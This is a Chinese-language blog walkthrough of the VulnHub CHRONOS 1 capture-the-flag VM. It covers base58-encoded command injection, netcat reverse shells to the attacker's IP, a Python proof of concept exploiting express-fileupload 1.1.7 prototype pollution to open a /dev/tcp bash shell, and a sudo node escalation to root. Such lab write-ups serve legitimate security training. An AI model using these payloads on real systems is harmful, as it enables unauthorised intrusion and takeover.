freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

VnlnHub CHRONOS 1
xiaopanghacker 2022-09-03 21:55:31 135786
所属地 湖南省

靶场搭建

靶场下载地址:https://www.vulnhub.com/entry/chronos-1,735/

下载下来是虚拟机.ova压缩文件,这里提示了这是VirtualBox虚拟机,不是VMware虚拟机,我尝试用VMware虚拟机打开报错了

用VirtualBox打开虚拟机之后,上网搜索了如何让将VirtualBox的虚拟机和VMware的虚拟机置于同一网络下,没有搜索到(因为我的kali攻击机是VMvare上的机器,而且我用的是校园网,属于内网,而且需要认证,所以用不了桥接模式)

所以我就想到将VirtualBox的机器转换为VMware的机器,在VMware上打开,具体操作看我另一篇文章:https://www.freebuf.com/sectool/343724.html

打开虚拟机之后发现虚拟机无法自动获取ip,解决办法看我另一篇文章:https://www.freebuf.com/articles/network/343723.html

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

开启虚拟机

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

128是kali攻击机,所以133是靶机

扫描靶机端口服务开放情况

开放了22端口,存在ssh服务为

开放了80端口,存在http服务,且中间件服务器为apache 2.4.29

开放了8000端口,存在http服务,且使用了Node.js express框架

先访问以下80端口的WEB

发现有两个资源没有加载出来

抓包看看请求了哪些资源

我们发现有一段js代码,经过了一些混淆

用cyberchef工具还原这段js代码

经过还原后,我们发现请求了一段url

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

请求了chronos.local这个域名的8000端口

刚才在扫描端口开放情况的时候,我们有扫描到这台主机的8000端口开放

所以猜测chronos.local就是本机,所以我们需要修改/etc/hosts文件,让这段url正常解析

修改后刷新页面,发现页面上多了一段文字,是时间

返回结果是时间,再回去看那段url,发现后面的参数format和日期联系起来一般是是格式化日期格式

把后面那段编码解码看看

发现是base58编码,而且确实为时间输出的格式

而且这段格式约束似乎是用+拼接到了什么语句后面

联想到系统命令date 后面拼接格式来输出时间

所以如果这是一段命令的话我们试一下是否存在命令注入

我们在burp上抓包,发送到repeater模块

构造base58的payload

果然存在命令注入

接下来利用命令注入来获得shell

查看/bin下有什么可以执行来获得shell

发现存在nc

现在kali上监听4444端口

执行nc 192.168.52.128 4444 -e /bin/bash 命令


发现出错了,而且没有连接成功,说明可能靶机上的nc不支持-e参数

利用nc串联

在kali上同时监听4444和5555两个端口

执行nc 192.168.52.128 4444 | /bin/bash | nc 192.168.52.128 5555

发现也出错了

但是连接建立成功

在/home/imera目录下发现一个user.txt应该是flag文件,但是没有权限读取

所以现在需要进行提权

内核提权

发现内核版本为4.15.0

没有找到可以提权的漏洞

sudo提权

sudo -l 查看是否有可提权的命令

发现没有回显不能通过这种方式提权

SUID提权

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

通过命令

find / -perm -4000 2>/dev/null查看是否具有root权限的命令

常见可用于提权root权限文件

nmap

vim

find

bash

more

less

nano

cp

awk

没有发现可以利用的文件

这些方法都不行,我们回到网站目录下,我们发现后端是由js来写的

并且使用了node.js express框架

并且在package.json文件中看到了版本为4.17.1

找相应框架的版本漏洞,没有找到可以利用的漏洞

于是去寻找其它办法

在/opt目录下发现了一个chronos-v2目录

进入到chronos-v2目录

发现这可能是另一个web应用,也存在前端后端

进入到后端,发现也是由node.js写的

发现也是使用了express框架,而且还使用了一个类似文件上传express-fileupload1.1.7框架

搜索响应框架版本漏洞

找到一个可以利用的漏洞,并且还可以RCE

看一下服务端代码

发现这个paeseNested被设置为TRUE,这个是漏洞利用的一个条件

并且发现这个web运行在本地127.0.0.1的8080端口

接下来利用漏洞来获得shell

找到一个python的poc

port requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.52.128/6666 0>&1"'

# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://127.0.0.1:8080')

先将这段代码在kali上保存到一个python文件中

上传到靶机上

在kali上利用python搭建一个临时网站用于传输文件

python2 -m SimpleHTTPServer 80

在靶机上利用wget下载文件(要先进入/tmp目录,不然保存不了文件)

wget

下载文件成功之后,在kali监听6666端口

执行python文件(注意要用python3,python2会不成功)

成功获得imera用户的shell

获得到第一个shell

接下来继续提权

sudo提权

sudo -l 查看是否有可提权的命令

发现存在可以利用的命令

我们这里利用node来进行提权,node是一门和python类似的脚本语言

执行下面这段代码

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'

提权成功

获得到第二个flag

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 xiaopanghacker 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
xiaopanghacker LV.6
这家伙太懒了,还未填写个人描述!
  • 36 文章数
  • 46 关注者
ATT&CK红队评估(红日靶场一)
2022-10-28
VnlnHub GeminiInc-Pentest-v2
2022-10-26
VnlnHub GeminiInc-Pentest
2022-10-22
文章目录